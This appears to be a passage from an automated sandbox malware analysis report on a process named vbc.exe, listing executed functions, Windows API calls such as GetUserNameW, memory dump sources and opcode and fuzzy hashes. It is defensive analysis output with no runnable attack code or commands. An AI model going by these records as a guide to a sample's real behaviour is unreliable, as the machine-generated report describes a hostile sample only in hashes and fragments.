Opcode ID: e21ec41e4180750a5525093fa97d1ccae2169fda16ad32f24b9a446e7fd1f47a
Instruction ID: 1fdf458a824db358b78d6654b763fb723c9c79ffb4367caf9c42b25f36d6da4a
Opcode Fuzzy Hash: e21ec41e4180750a5525093fa97d1ccae2169fda16ad32f24b9a446e7fd1f47a
Instruction Fuzzy Hash: 9B934E70E042288FCB19EF29D9856ADBBB2FB89305F0045E9D48CA7755DB346E88CF45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 5224, Parent PID: 5704COMMON

Execution Graph

Execution Coverage:	31.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.3%
Total number of Nodes:	163
Total number of Limit Nodes:	9

Executed Functions

Function 0A3F3AC0 Relevance: 1.6, APIs: 1, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0A3F3B21

Memory Dump Source

Source File: 00000002.00000002.548516227.000000000A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a3f0000_vbc.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4be23331a25445450168c685196d6abd278ee52b15a4ed8a031f268dc805940a
Instruction ID: d58a642c38fd74be8b87ba7a491bee976125243c439c4afa72eeebadd7a61836
Opcode Fuzzy Hash: 4be23331a25445450168c685196d6abd278ee52b15a4ed8a031f268dc805940a
Instruction Fuzzy Hash: F451AF70A002099FCB04EFB0D959AAEB7E5FF85304F048969E6129B391DF34ED05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 09EE4ECC Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 09EE55B3

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 2f361984e5b74b9c09e0a482c5de1e076561dbc7a593a5785181f191861e0529
Instruction ID: aca9ef358297408d6e5a24240f3fc77fd4d2f66bd15dbd8c73dd1d773753c37b
Opcode Fuzzy Hash: 2f361984e5b74b9c09e0a482c5de1e076561dbc7a593a5785181f191861e0529
Instruction Fuzzy Hash: F1511370D002188FDF14CFA9C889BEDBBB1BF49318F158519E816AB390DB749848CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7AA9 Relevance: 3.3, APIs: 2, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d6ffb0f3ada26dcc80d8032266ad28c9d786c56957ae88969e77dd109a50c0af
Instruction ID: 8be38a4699b138f9e3586aa2dcbccfe29f07dee5b257c0d51b9a2a221cbaabd9
Opcode Fuzzy Hash: d6ffb0f3ada26dcc80d8032266ad28c9d786c56957ae88969e77dd109a50c0af
Instruction Fuzzy Hash: 7902DB7490A298CFCB66DF74E8886E9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7A92 Relevance: 3.3, APIs: 2, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3ec3766bda92dd688adbebaea3487ebfd557d34213375ba8fcb4a1d93d7e412f
Instruction ID: 6bdf08e5b9b81d55a1ca1b41c3740a6a0893c3fa75a21f364a611a22246e5eaf
Opcode Fuzzy Hash: 3ec3766bda92dd688adbebaea3487ebfd557d34213375ba8fcb4a1d93d7e412f
Instruction Fuzzy Hash: 7D02EB7490A298CFC766DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB359D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7AE4 Relevance: 3.3, APIs: 2, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 83611b2097d38c24e7b7715de063125bd1f38b23664494f76ee19e3837be50e3
Instruction ID: de8765c772564149620995e55a5a0b8d5059c62dea74bb5a4427c53876de60be
Opcode Fuzzy Hash: 83611b2097d38c24e7b7715de063125bd1f38b23664494f76ee19e3837be50e3
Instruction Fuzzy Hash: FE02DB7490A298CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7B1F Relevance: 3.3, APIs: 2, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7b6d9ec72fc5bd737eaa2a317d7f970171371f860dc65be987106c8764d0cdc8
Instruction ID: 13d37a1d78f12a37a87d323651cda23b8131bc4216b4dd92f0a9fd9ce3a0639e
Opcode Fuzzy Hash: 7b6d9ec72fc5bd737eaa2a317d7f970171371f860dc65be987106c8764d0cdc8
Instruction Fuzzy Hash: 4302DB7490A298CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7B5A Relevance: 3.3, APIs: 2, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 57abb7080ba08ae490db0a82a522d1c044ab899b3411815b64c317c8f6ba7bf6
Instruction ID: 43d5a42c07a834367abdaa4fa732016b3234e41cf225eacf863b4fecea0a8432
Opcode Fuzzy Hash: 57abb7080ba08ae490db0a82a522d1c044ab899b3411815b64c317c8f6ba7bf6
Instruction Fuzzy Hash: C3F1EC7490A398CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7B8C Relevance: 3.3, APIs: 2, Instructions: 319
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 980a1a7af583437ec513b6befdbefaa9f151750386651c71bee7b6bafaa67e69
Instruction ID: 01026b29269873fa8b99adade37087c59fd418ccec2447d1a7ef830f1a58ddae
Opcode Fuzzy Hash: 980a1a7af583437ec513b6befdbefaa9f151750386651c71bee7b6bafaa67e69
Instruction Fuzzy Hash: 07F1EC7490A298CFCB66DF74E8886E9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7BD1 Relevance: 3.3, APIs: 2, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6f429e950457e1c04246dfe50721e8324f97f6c5f9a21591af9278a3578b6dfa
Instruction ID: 3f2a0658407e1667244ddf9da480bd23d11a4b02d9490dbaba6323e10df928e5
Opcode Fuzzy Hash: 6f429e950457e1c04246dfe50721e8324f97f6c5f9a21591af9278a3578b6dfa
Instruction Fuzzy Hash: 18F1ED7490A298CFCB66DF74E8886E9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7C0D Relevance: 3.3, APIs: 2, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 47d470275414471e573c93c975e7153b56c6d8ac38827845d41faaf3479f87b1
Instruction ID: ce7e4d2e3f9ca4fb46c259a8779409f0b044133fe5ade28fe985a2b40efc49fa
Opcode Fuzzy Hash: 47d470275414471e573c93c975e7153b56c6d8ac38827845d41faaf3479f87b1
Instruction Fuzzy Hash: D2F1ED7490A298CFCB66DF74E8886E9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7C52 Relevance: 3.3, APIs: 2, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 40a556f8cfa82282a630191465c2997cf4d2581ca6f5c042a4be98a00590202e
Instruction ID: f491709427070dc359ae331d9662a5d696e55f940240ac230bb764b05bdbbc6a
Opcode Fuzzy Hash: 40a556f8cfa82282a630191465c2997cf4d2581ca6f5c042a4be98a00590202e
Instruction Fuzzy Hash: 99F1ED7490A298CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7C8E Relevance: 3.3, APIs: 2, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8b4905a9301571eb2b7f779a5289c290ae6d0d3f228db9eb03a324ffa1915900
Instruction ID: da04c8799f2ee3a777391bd0e8a0aeda6c56176c65e493e39b18d561015bcf99
Opcode Fuzzy Hash: 8b4905a9301571eb2b7f779a5289c290ae6d0d3f228db9eb03a324ffa1915900
Instruction Fuzzy Hash: 13E1DC7490A298CFCB66DF74E8886E9B7B2BF4A34AF1041D9D40AA3740CB355E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7CD3 Relevance: 3.3, APIs: 2, Instructions: 284COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2059edb860438341efe14813ad5497c6f442b0c281074cfb0ae1cd34d7be956d
Instruction ID: 0a3965cb13f929e965efeba66728340a8a65e42240bea646d638612a7c09f4bc
Opcode Fuzzy Hash: 2059edb860438341efe14813ad5497c6f442b0c281074cfb0ae1cd34d7be956d
Instruction Fuzzy Hash: 43E1EC7490A298CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7D18 Relevance: 3.3, APIs: 2, Instructions: 275COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6ba54628ad69058459dfec402553a150bb4b1e52656f2c46b82da4504b21a6f3
Instruction ID: b4f660afccdd45f7e922d95bc35d5538153b69310ba0a3f576bdc4901761774e
Opcode Fuzzy Hash: 6ba54628ad69058459dfec402553a150bb4b1e52656f2c46b82da4504b21a6f3
Instruction Fuzzy Hash: 34E1ED7490A298CFCB66DF74E8886A9B7B2FF4A34AF1041D9D40AA3740CB355D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7D54 Relevance: 3.3, APIs: 2, Instructions: 270COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1e88e3277f977af53dc89c1f4b2268f63485524e9e0c97bb437f30121a720211
Instruction ID: 3968764d554559c0c153abbd00f8f13e54682d119dd84677384e47ccbaa128a1
Opcode Fuzzy Hash: 1e88e3277f977af53dc89c1f4b2268f63485524e9e0c97bb437f30121a720211
Instruction Fuzzy Hash: 9DE1EC7490A298CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7D99 Relevance: 3.3, APIs: 2, Instructions: 263COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 81ba3eef43a740523d96698ab6cf7606ea1eff2471fd09a55abced53f85a4c04
Instruction ID: 1371ac4a5f2d29285874377242b88b3433bb054cc04ee23860dc9715216ce4ee
Opcode Fuzzy Hash: 81ba3eef43a740523d96698ab6cf7606ea1eff2471fd09a55abced53f85a4c04
Instruction Fuzzy Hash: A9D1FD7490A298CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7DDE Relevance: 3.3, APIs: 2, Instructions: 256COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE7E02
KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4fb6bf92e485aafba143ef565e8fe0782af778e18a7d3809690b514c9b1b1780
Instruction ID: f07794db5d1827e9f4b4d8d2b69d9d68e0ae2e3e3774c0cc6d319f3dde9f080f
Opcode Fuzzy Hash: 4fb6bf92e485aafba143ef565e8fe0782af778e18a7d3809690b514c9b1b1780
Instruction Fuzzy Hash: 2CD1EC7490A298CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7E39 Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 908f1840e0a7db8de94ff11fd6c2c53faab6d8f2551fca0b92c1fb3d325a31d3
Instruction ID: 0064e6bd1652c23d598f39e115736632e3ac66e7c501e561149928e822dd9b25
Opcode Fuzzy Hash: 908f1840e0a7db8de94ff11fd6c2c53faab6d8f2551fca0b92c1fb3d325a31d3
Instruction Fuzzy Hash: 3BD1DC7490A298CFCB66DF34E8886ADB7B2BF4A34AF1041D9D40AA3740CB355E85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7E7E Relevance: 1.7, APIs: 1, Instructions: 238COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bb4131fd088bc7e77c82c29bdc48cc991648b334f4e3b4534d7fe990bfb565a2
Instruction ID: ad3407f614c916de51ed87a3b27d86d4bee0bc55f2479b3c0284f9ed02aa4a90
Opcode Fuzzy Hash: bb4131fd088bc7e77c82c29bdc48cc991648b334f4e3b4534d7fe990bfb565a2
Instruction Fuzzy Hash: 8AC1CC7490A298CFCB66DF34E8886A9B7B2FF4A34AF1041D9D40AA3740CB355E85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7EC3 Relevance: 1.7, APIs: 1, Instructions: 231COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d505c295c98d4333f4d51779ec2127293ab855cdf8c645c562a0353bc0cd5c41
Instruction ID: fd72036695f152c1e8600e0bfd0a040421cf1a7c8e5a53b8bd6cc3d5bde41331
Opcode Fuzzy Hash: d505c295c98d4333f4d51779ec2127293ab855cdf8c645c562a0353bc0cd5c41
Instruction Fuzzy Hash: DBC1CB7490A298CFCB66DF34E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7F08 Relevance: 1.7, APIs: 1, Instructions: 224COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 994a58c7bc4c430e442a26648a831f9db1ca9213b15b7f68a544f8bef1194fe3
Instruction ID: 3f4f63f3c25bf0cd675d0133201ddf74f16f27d4db8413dfb4e40a08de59d13a
Opcode Fuzzy Hash: 994a58c7bc4c430e442a26648a831f9db1ca9213b15b7f68a544f8bef1194fe3
Instruction Fuzzy Hash: EFC1CB7490A298CFCB66DF34E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7F4D Relevance: 1.7, APIs: 1, Instructions: 217COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 00cbd77139ca30a97d409fbdb42896ef2012f5f42db626c297a5a4d5cc4eb9b6
Instruction ID: cbcdf204cd04036b7132f7b4fd2a47ad8317c601717406e45fcc46a1bcb11f74
Opcode Fuzzy Hash: 00cbd77139ca30a97d409fbdb42896ef2012f5f42db626c297a5a4d5cc4eb9b6
Instruction Fuzzy Hash: BEB1CB7490A298CFCB66DF34E8886A9B7B2FF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7F92 Relevance: 1.7, APIs: 1, Instructions: 210COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0bb9241ba255442661085b627a2683d6a45d917fb6da949067e710135fd2fb34
Instruction ID: 3c47022c812eefe8083437209d1bf01cc8fbdbded727aa9f9271cb09ff1692ea
Opcode Fuzzy Hash: 0bb9241ba255442661085b627a2683d6a45d917fb6da949067e710135fd2fb34
Instruction Fuzzy Hash: 3BB1CA7490A298CFCB66DF34E8886A9B7B2FF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE7FD7 Relevance: 1.7, APIs: 1, Instructions: 203COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c001a993d04429354a9ec07c6656dcddb14a7e28ca394955f869078076d91901
Instruction ID: 73542db0f45f79798c4556620f8fc569f5853af602bb01abfd321dc2909ed223
Opcode Fuzzy Hash: c001a993d04429354a9ec07c6656dcddb14a7e28ca394955f869078076d91901
Instruction Fuzzy Hash: 78B1DA7490A298CFCB66DF34E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE801C Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5303f0b17ed0d40a9f689dafa8ab51004b3b460f4598759b8d27881fe1dd8819
Instruction ID: 1d3196ef0b28371154165901178e497825266796d32ce0cfe58d2bb85e359689
Opcode Fuzzy Hash: 5303f0b17ed0d40a9f689dafa8ab51004b3b460f4598759b8d27881fe1dd8819
Instruction Fuzzy Hash: 56A1EA7490A298CFCB66DF34E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8061 Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ba2bdf1ea5dc0bce2de179c834d59d7ca799dde90af2e56156a3a33f51d3bd83
Instruction ID: 9e785996a7048a09e109d696331365a017ec45fcc6b5d63433da602b31a05115
Opcode Fuzzy Hash: ba2bdf1ea5dc0bce2de179c834d59d7ca799dde90af2e56156a3a33f51d3bd83
Instruction Fuzzy Hash: C1A1EB7490A398CFCB66DF34E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE809D Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: eb083aae321c77b18ee3798daa344f27b39b8abb48c048692099207c9a4b1e0c
Instruction ID: 4159764ebe122b52ded3688dc8caba0fa65f653ed2e89df9ad1619b3c9db8a03
Opcode Fuzzy Hash: eb083aae321c77b18ee3798daa344f27b39b8abb48c048692099207c9a4b1e0c
Instruction Fuzzy Hash: 7791EA7490A298CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE80E2 Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c344b183ffc5036deca35aaa944da5ec615f0284fd9ec0a224ad969f903a069a
Instruction ID: da636824b82986ebd5b328fed4ef65a73244923fa662546c29d971b64d4f7e97
Opcode Fuzzy Hash: c344b183ffc5036deca35aaa944da5ec615f0284fd9ec0a224ad969f903a069a
Instruction Fuzzy Hash: DE91FA7490A298CFCB66DF34E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0A3F3A60 Relevance: 1.7, APIs: 1, Instructions: 169libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0A3F3B21

Memory Dump Source

Source File: 00000002.00000002.548516227.000000000A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a3f0000_vbc.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3578e99cc5c4ee51b20c7d2e7b768c0b91a9c74c4d3345eea400bb590d78fcb5
Instruction ID: 42058042472cb023d9b6232596b55be1de2f4b098ef19e6e0d0d0a108be34f7f
